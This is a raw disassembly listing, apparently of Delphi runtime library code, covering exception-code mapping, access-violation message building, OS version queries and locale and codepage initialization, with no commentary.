loc_405AB1: ; CODE XREF: sub_405AA0+Ej cmp ebx, 6 jg short loc_405ABF cmp esi, ds:dword_4091A8[ebx*8] jnz short loc_405AB0 loc_405ABF: ; CODE XREF: sub_405AA0+14j cmp ebx, 6 jg short loc_405AD9 mov ecx, ds:dword_4091AC[ebx*8] mov dl, 1 mov eax, off_403AF8 call sub_4058E8 jmp short loc_405AF6 ; --------------------------------------------------------------------------- loc_405AD9: ; CODE XREF: sub_405AA0+22j mov [esp+10h+var_10], esi mov [esp+10h+var_C], 0 push esp push 0 mov ecx, ds:off_409300 mov dl, 1 mov eax, off_403AF8 call sub_4059E0 loc_405AF6: ; CODE XREF: sub_405AA0+37j mov [eax+0Ch], esi pop ecx pop edx pop esi pop ebx retn sub_405AA0 endp ; --------------------------------------------------------------------------- align 10h off_405B00 dd offset dword_405B04 ; DATA XREF: sub_406B98+3Br dword_405B04 dd 45540A0Eh, 70656378h, 63655274h, 8, 1 ; DATA XREF: CODE:off_405B00o dd offset off_401000 dd 4 ; =============== S U B R O U T I N E ======================================= sub_405B20 proc near ; DATA XREF: sub_405FA4+33o push ebx mov ebx, edx mov edx, eax dec dl jz short loc_405B35 dec dl jz short loc_405B3D dec edx sub dl, 16h jb short loc_405B45 jmp short loc_405B61 ; --------------------------------------------------------------------------- loc_405B35: ; CODE XREF: sub_405B20+7j mov edx, ds:dword_40A7C4 jmp short loc_405B68 ; --------------------------------------------------------------------------- loc_405B3D: ; CODE XREF: sub_405B20+Bj mov edx, ds:dword_40A7C8 jmp short loc_405B68 ; --------------------------------------------------------------------------- loc_405B45: ; CODE XREF: sub_405B20+11j and eax, 0FFh lea eax, dword_4091C8[eax*8] mov ecx, [eax+4] mov eax, [eax] mov dl, 1 call sub_4058E8 mov edx, eax jmp short loc_405B68 ; --------------------------------------------------------------------------- loc_405B61: ; CODE XREF: sub_405B20+13j call sub_405AA0 mov edx, eax loc_405B68: ; CODE XREF: sub_405B20+1Bj ; sub_405B20+23j ... push ebx mov eax, edx jmp sub_402308 sub_405B20 endp ; --------------------------------------------------------------------------- pop ebx retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405B74 proc near ; CODE XREF: sub_405C30+3p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE0h push ebx push esi push edi xor ebx, ebx mov [ebp+var_20], ebx mov [ebp+var_4], ebx mov edi, ecx mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_405C10 push dword ptr fs:[eax] mov fs:[eax], esp test ebx, ebx jz short loc_405BA9 lea eax, [ebp+var_4] mov edx, ebx call sub_402660 jmp short loc_405BB6 ; --------------------------------------------------------------------------- loc_405BA9: ; CODE XREF: sub_405B74+27j lea edx, [ebp+var_4] mov eax, ds:off_4093B4 call sub_4033B0 loc_405BB6: ; CODE XREF: sub_405B74+33j mov eax, [ebp+var_4] mov [ebp+var_1C], eax mov [ebp+var_18], 0Bh mov [ebp+var_14], esi mov [ebp+var_10], 0Bh mov [ebp+var_C], edi mov [ebp+var_8], 0 lea eax, [ebp+var_1C] push eax push 2 lea edx, [ebp+var_20] mov eax, ds:off_4093D4 call sub_4033B0 mov ecx, [ebp+var_20] mov dl, 1 mov eax, off_404200 call sub_405924 mov ebx, eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405C17 loc_405BFF: ; CODE XREF: sub_405B74+A1j lea eax, [ebp+var_20] call sub_4025C8 lea eax, [ebp+var_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_405C10: ; DATA XREF: sub_405B74+1Ao jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_405BFF ; --------------------------------------------------------------------------- loc_405C17: ; CODE XREF: sub_405B74+9Bj ; DATA XREF: sub_405B74+86o mov eax, ebx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_405B74 endp ; =============== S U B R O U T I N E ======================================= sub_405C20 proc near ; CODE XREF: sub_405C30+11p mov esp, ecx mov [esp+0], edx mov ebp, [ebp+0] jmp sub_402308 sub_405C20 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405C30 proc near ; DATA XREF: sub_405FA4+67o arg_0 = dword ptr 8 push ebp mov ebp, esp call sub_405B74 lea ecx, [ebp+arg_0] add ecx, 4 mov edx, [ebp+arg_0] call sub_405C20 pop ebp retn 4 sub_405C30 endp ; --------------------------------------------------------------------------- align 4 loc_405C4C: ; DATA XREF: sub_405FA4+74o mov ecx, ds:off_409318 mov dl, 1 mov eax, off_404260 call sub_4059A4 call sub_402308 retn ; =============== S U B R O U T I N E ======================================= sub_405C64 proc near ; CODE XREF: sub_405CE4+5p ; sub_405EC8+20p mov eax, [eax] cmp eax, 0C0000092h jg short loc_405C99 jz short loc_405CC8 cmp eax, 0C000008Eh jg short loc_405C8B jz short loc_405CCB sub eax, 0C0000005h jz short loc_405CD4 sub eax, 87h jz short loc_405CC2 dec eax jz short loc_405CD1 jmp short loc_405CE0 ; --------------------------------------------------------------------------- loc_405C8B: ; CODE XREF: sub_405C64+10j add eax, 3FFFFF71h sub eax, 2 jb short loc_405CC8 jz short loc_405CCE jmp short loc_405CE0 ; --------------------------------------------------------------------------- loc_405C99: ; CODE XREF: sub_405C64+7j cmp eax, 0C0000096h jg short loc_405CB1 jz short loc_405CD7 sub eax, 0C0000093h jz short loc_405CD1 dec eax jz short loc_405CBF dec eax jz short loc_405CC5 jmp short loc_405CE0 ; --------------------------------------------------------------------------- loc_405CB1: ; CODE XREF: sub_405C64+3Aj sub eax, 0C00000FDh jz short loc_405CDD sub eax, 3Dh jz short loc_405CDA jmp short loc_405CE0 ; --------------------------------------------------------------------------- loc_405CBF: ; CODE XREF: sub_405C64+46j mov al, 3 retn ; --------------------------------------------------------------------------- loc_405CC2: ; CODE XREF: sub_405C64+20j mov al, 4 retn ; --------------------------------------------------------------------------- loc_405CC5: ; CODE XREF: sub_405C64+49j mov al, 5 retn ; --------------------------------------------------------------------------- loc_405CC8: ; CODE XREF: sub_405C64+9j ; sub_405C64+2Fj mov al, 6 retn ; --------------------------------------------------------------------------- loc_405CCB: ; CODE XREF: sub_405C64+12j mov al, 7 retn ; --------------------------------------------------------------------------- loc_405CCE: ; CODE XREF: sub_405C64+31j mov al, 8 retn ; --------------------------------------------------------------------------- loc_405CD1: ; CODE XREF: sub_405C64+23j ; sub_405C64+43j mov al, 9 retn ; --------------------------------------------------------------------------- loc_405CD4: ; CODE XREF: sub_405C64+19j mov al, 0Bh retn ; --------------------------------------------------------------------------- loc_405CD7: ; CODE XREF: sub_405C64+3Cj mov al, 0Ch retn ; --------------------------------------------------------------------------- loc_405CDA: ; CODE XREF: sub_405C64+57j mov al, 0Dh retn ; --------------------------------------------------------------------------- loc_405CDD: ; CODE XREF: sub_405C64+52j mov al, 0Eh retn ; --------------------------------------------------------------------------- loc_405CE0: ; CODE XREF: sub_405C64+25j ; sub_405C64+33j ... mov al, 16h retn sub_405C64 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_405CE4 proc near ; DATA XREF: sub_405FA4+56o push ebx mov ebx, eax mov eax, ebx call sub_405C64 and eax, 0FFh mov eax, ds:dword_4091C8[eax*8] pop ebx retn sub_405CE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405CFC proc near ; CODE XREF: sub_405EC8+54p var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = byte ptr -168h var_164 = dword ptr -164h var_160 = byte ptr -160h var_15C = dword ptr -15Ch var_158 = byte ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_144 = byte ptr -144h var_140 = dword ptr -140h var_13C = byte ptr -13Ch var_138 = dword ptr -138h var_134 = byte ptr -134h var_130 = dword ptr -130h var_12C = byte ptr -12Ch Filename = byte ptr -125h Buffer = _MEMORY_BASIC_INFORMATION ptr -20h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFE90h push ebx push esi xor eax, eax mov [ebp+var_170], eax mov [ebp+var_14C], eax mov [ebp+var_154], eax mov [ebp+var_150], eax mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_405EB7 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+arg_0] mov ebx, [eax-4] cmp dword ptr [ebx+14h], 0 jnz short loc_405D4D lea edx, [ebp+var_4] mov eax, ds:off_409410 call sub_4033B0 jmp short loc_405D5A ; --------------------------------------------------------------------------- loc_405D4D: ; CODE XREF: sub_405CFC+40j lea edx, [ebp+var_4] mov eax, ds:off_4093A8 call sub_4033B0 loc_405D5A: ; CODE XREF: sub_405CFC+4Fj mov esi, [ebx+18h] push 1Ch ; dwLength lea eax, [ebp+Buffer] push eax ; lpBuffer mov eax, [ebx+0Ch] push eax ; lpAddress call VirtualQuery cmp [ebp+Buffer.State], 1000h jnz loc_405E2C push 105h ; nSize lea eax, [ebp+Filename] push eax ; lpFilename mov eax, [ebp+Buffer.AllocationBase] push eax ; hModule call GetModuleFileNameA_0 test eax, eax jz loc_405E2C mov eax, [ebx+0Ch] mov [ebp+var_148], eax mov [ebp+var_144], 5 lea eax, [ebp+var_150] lea edx, [ebp+Filename] mov ecx, 105h call sub_402814 mov eax, [ebp+var_150] lea edx, [ebp+var_14C] call sub_4044E8 mov eax, [ebp+var_14C] mov [ebp+var_140], eax mov [ebp+var_13C], 0Bh mov eax, [ebp+var_4] mov [ebp+var_138], eax mov [ebp+var_134], 0Bh mov [ebp+var_130], esi mov [ebp+var_12C], 5 lea eax, [ebp+var_148] push eax push 3 lea edx, [ebp+var_154] mov eax, ds:off_4093CC call sub_4033B0 mov ecx, [ebp+var_154] mov dl, 1 mov eax, off_404038 call sub_405924 mov ebx, eax jmp short loc_405E86 ; --------------------------------------------------------------------------- loc_405E2C: ; CODE XREF: sub_405CFC+77j ; sub_405CFC+94j mov eax, [ebx+0Ch] mov [ebp+var_16C], eax mov [ebp+var_168], 5 mov eax, [ebp+var_4] mov [ebp+var_164], eax mov [ebp+var_160], 0Bh mov [ebp+var_15C], esi mov [ebp+var_158], 5 lea eax, [ebp+var_16C] push eax push 2 lea edx, [ebp+var_170] mov eax, ds:off_4093E4 call sub_4033B0 mov ecx, [ebp+var_170] mov dl, 1 mov eax, off_404038 call sub_405924 mov ebx, eax loc_405E86: ; CODE XREF: sub_405CFC+12Ej xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405EBE loc_405E93: ; CODE XREF: sub_405CFC+1C0j lea eax, [ebp+var_170] call sub_4025C8 lea eax, [ebp+var_154] mov edx, 3 call sub_4025EC lea eax, [ebp+var_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_405EB7: ; DATA XREF: sub_405CFC+2Bo jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_405E93 ; --------------------------------------------------------------------------- loc_405EBE: ; CODE XREF: sub_405CFC+1BAj ; DATA XREF: sub_405CFC+192o mov eax, ebx pop esi pop ebx mov esp, ebp pop ebp retn sub_405CFC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405EC8 proc near ; DATA XREF: sub_405FA4+61o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx xor edx, edx mov [ebp+var_10], edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_405F83 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_405C64 and eax, 0FFh mov edx, eax add edx, 0FFFFFFFDh sub edx, 8 jb short loc_405F04 jz short loc_405F1B dec edx sub edx, 0Ah jnb short loc_405F26 loc_405F04: ; CODE XREF: sub_405EC8+32j lea eax, dword_4091C8[eax*8] mov ecx, [eax+4] mov eax, [eax] mov dl, 1 call sub_4058E8 mov ebx, eax jmp short loc_405F56 ; --------------------------------------------------------------------------- loc_405F1B: ; CODE XREF: sub_405EC8+34j push ebp call sub_405CFC pop ecx mov ebx, eax jmp short loc_405F56 ; --------------------------------------------------------------------------- loc_405F26: ; CODE XREF: sub_405EC8+3Aj mov eax, [ebp+var_4] mov eax, [eax] mov [ebp+var_C], eax mov [ebp+var_8], 0 lea eax, [ebp+var_C] push eax push 0 lea edx, [ebp+var_10] mov eax, ds:off_4092D8 call sub_4033B0 mov ecx, [ebp+var_10] mov dl, 1 mov eax, off_403BA8 call sub_405924 mov ebx, eax loc_405F56: ; CODE XREF: sub_405EC8+51j ; sub_405EC8+5Cj mov eax, ebx mov edx, off_403B50 call sub_401FD4 test al, al jz short loc_405F6D mov eax, [ebp+var_4] mov [ebx+0Ch], eax loc_405F6D: ; CODE XREF: sub_405EC8+9Dj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405F8A loc_405F7A: ; CODE XREF: sub_405EC8+C0j lea eax, [ebp+var_10] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_405F83: ; DATA XREF: sub_405EC8+12o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_405F7A ; --------------------------------------------------------------------------- loc_405F8A: ; CODE XREF: sub_405EC8+BAj ; DATA XREF: sub_405EC8+ADo mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_405EC8 endp ; --------------------------------------------------------------------------- align 4 dword_405F94 dd 0FFF897E8h, 1B8FFh, 0DE80000h, 0C3FFFFC6h ; DATA XREF: sub_405FA4+3Eo ; =============== S U B R O U T I N E ======================================= sub_405FA4 proc near ; CODE XREF: sub_406D18:loc_406D5Ep mov ecx, ds:off_409308 mov dl, 1 mov eax, off_403A9C call sub_4059A4 mov ds:dword_40A7C4, eax mov ecx, ds:off_409390 mov dl, 1 mov eax, off_403F24 call sub_4059A4 mov ds:dword_40A7C8, eax mov eax, ds:off_4092E0 mov dword ptr [eax], offset sub_405B20 mov eax, ds:off_409334 mov dword ptr [eax], offset dword_405F94 mov eax, ds:off_4092FC mov edx, off_4039D8 mov [eax], edx mov eax, ds:off_40932C mov dword ptr [eax], offset sub_405CE4 mov eax, ds:off_409338 mov dword ptr [eax], offset sub_405EC8 mov eax, offset sub_405C30 mov edx, ds:off_4093A0 mov [edx], eax mov eax, offset loc_405C4C mov edx, ds:off_4092D4 mov [edx], eax retn sub_405FA4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_406028 proc near ; CODE XREF: sub_406B98+2Cp mov eax, ds:dword_40A7C4 mov byte ptr [eax+0Ch], 1 mov eax, ds:dword_40A7C4 mov edx, [eax] call dword ptr [edx-8] xor eax, eax mov ds:dword_40A7C4, eax mov eax, ds:dword_40A7C8 mov byte ptr [eax+0Ch], 1 mov eax, ds:dword_40A7C8 call sub_401F50 xor eax, eax mov ds:dword_40A7C8, eax mov eax, ds:off_4092E0 xor edx, edx mov [eax], edx mov eax, ds:off_409334 xor edx, edx mov [eax], edx mov eax, ds:off_4092FC xor edx, edx mov [eax], edx mov eax, ds:off_40932C xor edx, edx mov [eax], edx mov eax, ds:off_409338 xor edx, edx mov [eax], edx mov eax, ds:off_4093A0 xor edx, edx mov [eax], edx retn sub_406028 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_406094 proc near ; CODE XREF: sub_406D18+4Bp var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h add esp, 0FFFFFF6Ch mov [esp+94h+var_94], 94h push esp ; lpVersionInformation call GetVersionExA test eax, eax jz short loc_4060E2 mov eax, [esp+94h+var_84] mov ds:dword_4090B4, eax mov eax, [esp+94h+var_90] mov ds:dword_4090B8, eax mov eax, [esp+94h+var_8C] mov ds:dword_4090BC, eax mov eax, [esp+94h+var_88] mov ds:dword_4090C0, eax mov eax, offset dword_4090C4 lea edx, [esp+94h+var_80] mov ecx, 80h call sub_402814 loc_4060E2: ; CODE XREF: sub_406094+15j add esp, 94h retn sub_406094 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4060EC proc near ; CODE XREF: sub_406164+1Bp ; sub_406188+Bp push esi push edi mov edi, edx xor edx, edx test eax, eax jz short loc_40615C cmp byte ptr [eax+edi], 0 jz short loc_40615C test edi, edi jnz short loc_406114 mov al, [eax] and eax, 0FFh bt ds:dword_4090C8, eax jnb short loc_40615C mov dl, 1 jmp short loc_40615C ; --------------------------------------------------------------------------- loc_406114: ; CODE XREF: sub_4060EC+12j mov esi, edi dec esi jmp short loc_40611A ; --------------------------------------------------------------------------- loc_406119: ; CODE XREF: sub_4060EC+42j dec esi loc_40611A: ; CODE XREF: sub_4060EC+2Bj test esi, esi jl short loc_406130 mov cl, [eax+esi] and ecx, 0FFh bt ds:dword_4090C8, ecx jb short loc_406119 loc_406130: ; CODE XREF: sub_4060EC+30j mov ecx, edi sub ecx, esi and ecx, 80000001h jns short loc_406141 dec ecx or ecx, 0FFFFFFFEh inc ecx loc_406141: ; CODE XREF: sub_4060EC+4Ej test ecx, ecx jnz short loc_406149 mov dl, 2 jmp short loc_40615C ; --------------------------------------------------------------------------- loc_406149: ; CODE XREF: sub_4060EC+57j mov al, [eax+edi] and eax, 0FFh bt ds:dword_4090C8, eax jnb short loc_40615C mov dl, 1 loc_40615C: ; CODE XREF: sub_4060EC+8j ; sub_4060EC+Ej ... mov eax, edx pop edi pop esi retn sub_4060EC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_406164 proc near ; CODE XREF: sub_404498+37p push ebx push esi mov esi, edx mov ebx, eax xor eax, eax cmp byte ptr ds:dword_40A77C, 0 jz short loc_406184 mov eax, ebx call sub_402A38 mov edx, esi dec edx call sub_4060EC loc_406184: ; CODE XREF: sub_406164+Fj pop esi pop ebx retn sub_406164 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_406188 proc near ; CODE XREF: sub_404654+1Bp ; sub_406224+1Cp xor ecx, ecx cmp byte ptr ds:dword_40A77C, 0 jz short loc_40619A call sub_4060EC mov ecx, eax loc_40619A: ; CODE XREF: sub_406188+9j mov eax, ecx retn sub_406188 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4061A0 proc near ; CODE XREF: sub_4061C0+31p push ebx mov ebx, eax cmp byte ptr ds:dword_40A77C, 0 jz short loc_4061B6 push ebx ; lpsz call CharNextA_0 sub eax, ebx pop ebx retn ; --------------------------------------------------------------------------- loc_4061B6: ; CODE XREF: sub_4061A0+Aj mov eax, 1 pop ebx retn sub_4061A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4061C0 proc near ; CODE XREF: sub_405474+D1p push ebx push esi mov esi, edx mov ebx, eax mov eax, 1 cmp byte ptr ds:dword_40A77C, 0 jz short loc_4061F6 mov dl, [ebx+esi-1] and edx, 0FFh bt ds:dword_4090C8, edx jnb short loc_4061F6 mov eax, ebx call sub_402A38 add eax, esi dec eax call sub_4061A0 loc_4061F6: ; CODE XREF: sub_4061C0+12j ; sub_4061C0+25j pop esi pop ebx retn sub_4061C0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4061FC proc near ; CODE XREF: CODE:00405726p push ebx push esi mov ebx, edx mov edx, ebx call sub_406224 mov esi, eax test bl, bl jz short loc_40621F test eax, eax jz short loc_40621F loc_406211: ; CODE XREF: sub_4061FC+21j mov esi, eax inc eax mov edx, ebx call sub_406224 test eax, eax jnz short loc_406211 loc_40621F: ; CODE XREF: sub_4061FC+Fj ; sub_4061FC+13j mov eax, esi pop esi pop ebx retn sub_4061FC endp ; =============== S U B R O U T I N E ======================================= sub_406224 proc near ; CODE XREF: sub_4061FC+6p ; sub_4061FC+1Ap push ebx push esi push edi mov ebx, edx mov esi, eax mov edx, ebx mov eax, esi call sub_404634 mov edi, eax test edi, edi jz short loc_40625E loc_40623A: ; CODE XREF: sub_406224+38j mov edx, edi sub edx, esi mov eax, esi call sub_406188 sub al, 1 jb short loc_40625E jz short loc_40624D jmp short loc_40624E ; --------------------------------------------------------------------------- loc_40624D: ; CODE XREF: sub_406224+25j inc edi loc_40624E: ; CODE XREF: sub_406224+27j inc edi mov edx, ebx mov eax, edi call sub_404634 mov edi, eax test edi, edi jnz short loc_40623A loc_40625E: ; CODE XREF: sub_406224+14j ; sub_406224+23j mov eax, edi pop edi pop esi pop ebx retn sub_406224 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406264 proc near ; CODE XREF: sub_4062D8+13p var_C = dword ptr -0Ch LCData = byte ptr -7 push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx xor edx, edx mov [ebp+var_C], edx xor edx, edx push ebp push offset loc_4062C8 push dword ptr fs:[edx] mov fs:[edx], esp push 7 ; cchData lea edx, [ebp+LCData] push edx ; lpLCData push 1004h ; LCType push eax ; Locale call GetLocaleInfoA_0 lea eax, [ebp+var_C] lea edx, [ebp+LCData] mov ecx, 7 call sub_402814 mov eax, [ebp+var_C] push eax call GetACP mov edx, eax pop eax call sub_4043F0 mov ebx, eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4062CF loc_4062BF: ; CODE XREF: sub_406264+69j lea eax, [ebp+var_C] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_4062C8: ; DATA XREF: sub_406264+Fo jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4062BF ; --------------------------------------------------------------------------- loc_4062CF: ; CODE XREF: sub_406264+63j ; DATA XREF: sub_406264+56o mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_406264 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4062D8 proc near ; CODE XREF: sub_406350+93p ; sub_406350+145p var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_0] add edi, 0FFFFFFECh push edi ; lpCPInfo mov eax, ds:Locale call sub_406264 push eax ; CodePage call GetCPInfo xor esi, esi jmp short loc_406323 ; --------------------------------------------------------------------------- loc_4062FA: ; CODE XREF: sub_4062D8+58j mov al, [edi+esi+6] mov bl, [edi+esi+7] sub bl, al jb short loc_406320 inc ebx mov [ebp+var_1], al loc_40630A: ; CODE XREF: sub_4062D8+46j mov al, [ebp+var_1] and eax, 0FFh bts ds:dword_4090C8, eax inc [ebp+var_1] dec bl jnz short loc_40630A loc_406320: ; CODE XREF: sub_4062D8+2Cj add esi, 2 loc_406323: ; CODE XREF: sub_4062D8+20j cmp esi, 0Ch jge short loc_406332 mov al, [edi+esi+6] or al, [edi+esi+7] jnz short loc_4062FA loc_406332: ; CODE XREF: sub_4062D8+4Ej pop edi pop esi pop ebx pop ecx pop ebp retn sub_4062D8 endp ; =============== S U B R O U T I N E ======================================= sub_406338 proc near ; CODE XREF: sub_406350+76p mov eax, ds:dword_40A774 cmp eax, 1Fh ja short loc_406349 bt ds:dword_409290, eax loc_406349: ; CODE XREF: sub_406338+8j setb al retn sub_406338 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406350 proc near ; CODE XREF: sub_4064C4+1Ep CharType = word ptr -196h SrcStr = byte ptr -94h push ebp mov ebp, esp add esp, 0FFFFFE68h push ebx push esi push edi mov ds:Locale, 409h mov ds:dword_40A774, 9 mov ds:dword_40A778, 1 call GetThreadLocale_0 test eax, eax jz short loc_406388 mov ds:Locale, eax loc_406388: ; CODE XREF: sub_406350+31j test ax, ax jz short loc_4063A8 mov edx, eax and dx, 3FFh movzx edx, dx mov ds:dword_40A774, edx movzx eax, ax shr eax, 0Ah mov ds:dword_40A778, eax loc_4063A8: ; CODE XREF: sub_406350+3Bj mov esi, offset dword_4064A4 mov edi, offset dword_4090C8 mov ecx, 8 rep movsd cmp ds:dword_4090B4, 2 jnz loc_40646D call sub_406338 test al, al jz short loc_4063E2 mov byte ptr ds:dword_40A77C+1, 0 mov byte ptr ds:dword_40A77C, 0 jmp loc_40649B ; --------------------------------------------------------------------------- loc_4063E2: ; CODE XREF: sub_406350+7Dj push ebp call sub_4062D8 pop ecx mov eax, offset dword_4090C8 mov edx, offset dword_4064A4 mov cl, 20h call sub_401BEC setnz bl mov byte ptr ds:dword_40A77C, bl test bl, bl jz short loc_406413 mov byte ptr ds:dword_40A77C+1, 0 jmp loc_40649B ; --------------------------------------------------------------------------- loc_406413: ; CODE XREF: sub_406350+B5j mov eax, 80h lea edx, [ebp+SrcStr] loc_40641E: ; CODE XREF: sub_406350+D7j mov [edx], al inc eax inc edx cmp eax, 100h jnz short loc_40641E lea eax, [ebp+SrcStr] lea edx, [ebp+CharType] push edx ; lpCharType push 80h ; cchSrc push eax ; lpSrcStr push 2 ; dwInfoType mov eax, ds:Locale push eax ; Locale call GetStringTypeExA mov eax, 80h lea edx, [ebp+CharType] loc_406454: ; CODE XREF: sub_406350+119j cmp word ptr [edx], 2 setz cl mov byte ptr ds:dword_40A77C+1, cl test cl, cl jnz short loc_40649B add edx, 2 dec eax jnz short loc_406454 jmp short loc_40649B ; --------------------------------------------------------------------------- loc_40646D: ; CODE XREF: sub_406350+70j push 4Ah ; nIndex call GetSystemMetrics test eax, eax setnz al mov byte ptr ds:dword_40A77C+1, al push 2Ah ; nIndex call GetSystemMetrics test eax, eax setnz bl mov byte ptr ds:dword_40A77C, bl test bl, bl jz short loc_40649B push ebp call sub_4062D8 pop ecx loc_40649B: ; CODE XREF: sub_406350+8Dj ; sub_406350+BEj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_406350 endp ; --------------------------------------------------------------------------- align 4 dword_4064A4 dd 8 dup(0) ; DATA XREF: sub_406350:loc_4063A8o ; sub_406350+9Eo ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4064C4 proc near ; CODE XREF: sub_406D18+55p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov ecx, 8 loc_4064CC: ; CODE XREF: sub_4064C4+Dj push 0 push 0 dec ecx jnz short loc_4064CC push ebx xor eax, eax push ebp push offset loc_40678F push dword ptr fs:[eax] mov fs:[eax], esp call sub_406350 call sub_4051EC cmp byte ptr ds:dword_40A77C, 0 jz short loc_4064FA call sub_4053C4 loc_4064FA: ; CODE XREF: sub_4064C4+2Fj call GetThreadLocale_0 mov ebx, eax lea eax, [ebp+var_10] push eax xor ecx, ecx mov edx, 14h mov eax, ebx call sub_40513C mov edx, [ebp+var_10] mov eax, offset dword_40A6B0 call sub_40261C lea eax, [ebp+var_14] push eax mov ecx, offset dword_4067A4 mov edx, 1Bh mov eax, ebx call sub_40513C mov eax, [ebp+var_14] xor edx, edx call sub_4043F0 mov ds:byte_40A6B4, al lea eax, [ebp+var_18] push eax mov ecx, offset dword_4067A4 mov edx, 1Ch mov eax, ebx call sub_40513C mov eax, [ebp+var_18] xor edx, edx call sub_4043F0 mov ds:byte_40A6B5, al mov cl, 2Ch mov edx, 0Fh mov eax, ebx call sub_405188 mov ds:byte_40A6B6, al mov cl, 2Eh mov edx, 0Eh mov eax, ebx call sub_405188 mov ds:byte_40A6B7, al lea eax, [ebp+var_1C] push eax mov ecx, offset dword_4067A4 mov edx, 19h mov eax, ebx call sub_40513C mov eax, [ebp+var_1C] xor edx, edx call sub_4043F0 mov ds:byte_40A6B8, al mov cl, 2Fh mov edx, 1Dh mov eax, ebx call sub_405188 mov ds:byte_40A6B9, al lea eax, [ebp+var_24] push eax mov ecx, offset dword_4067B0 mov edx, 1Fh mov eax, ebx call sub_40513C mov eax, [ebp+var_24] lea edx, [ebp+var_20] call sub_405474 mov edx, [ebp+var_20] mov eax, offset dword_40A6BC call sub_40261C lea eax, [ebp+var_2C] push eax mov ecx, offset dword_4067C0 mov edx, 20h mov eax, ebx call sub_40513C mov eax, [ebp+var_2C] lea edx, [ebp+var_28] call sub_405474 mov edx, [ebp+var_28] mov eax, offset dword_40A6C0 call sub_40261C mov cl, 3Ah mov edx, 1Eh mov eax, ebx call sub_405188 mov ds:byte_40A6C4, al lea eax, [ebp+var_30] push eax mov ecx, offset dword_4067D8 mov edx, 28h mov eax, ebx call sub_40513C mov edx, [ebp+var_30] mov eax, offset dword_40A6C8 call sub_40261C lea eax, [ebp+var_34] push eax mov ecx, offset dword_4067E4 mov edx, 29h mov eax, ebx call sub_40513C mov edx, [ebp+var_34] mov eax, offset dword_40A6CC call sub_40261C lea eax, [ebp+var_8] call sub_4025C8 lea eax, [ebp+var_C] call sub_4025C8 lea eax, [ebp+var_38] push eax mov ecx, offset dword_4067A4 mov edx, 25h mov eax, ebx call sub_40513C mov eax, [ebp+var_38] xor edx, edx call sub_4043F0 test eax, eax jnz short loc_4066B8 lea eax, [ebp+var_4] mov edx, offset dword_4067F0 call sub_402660 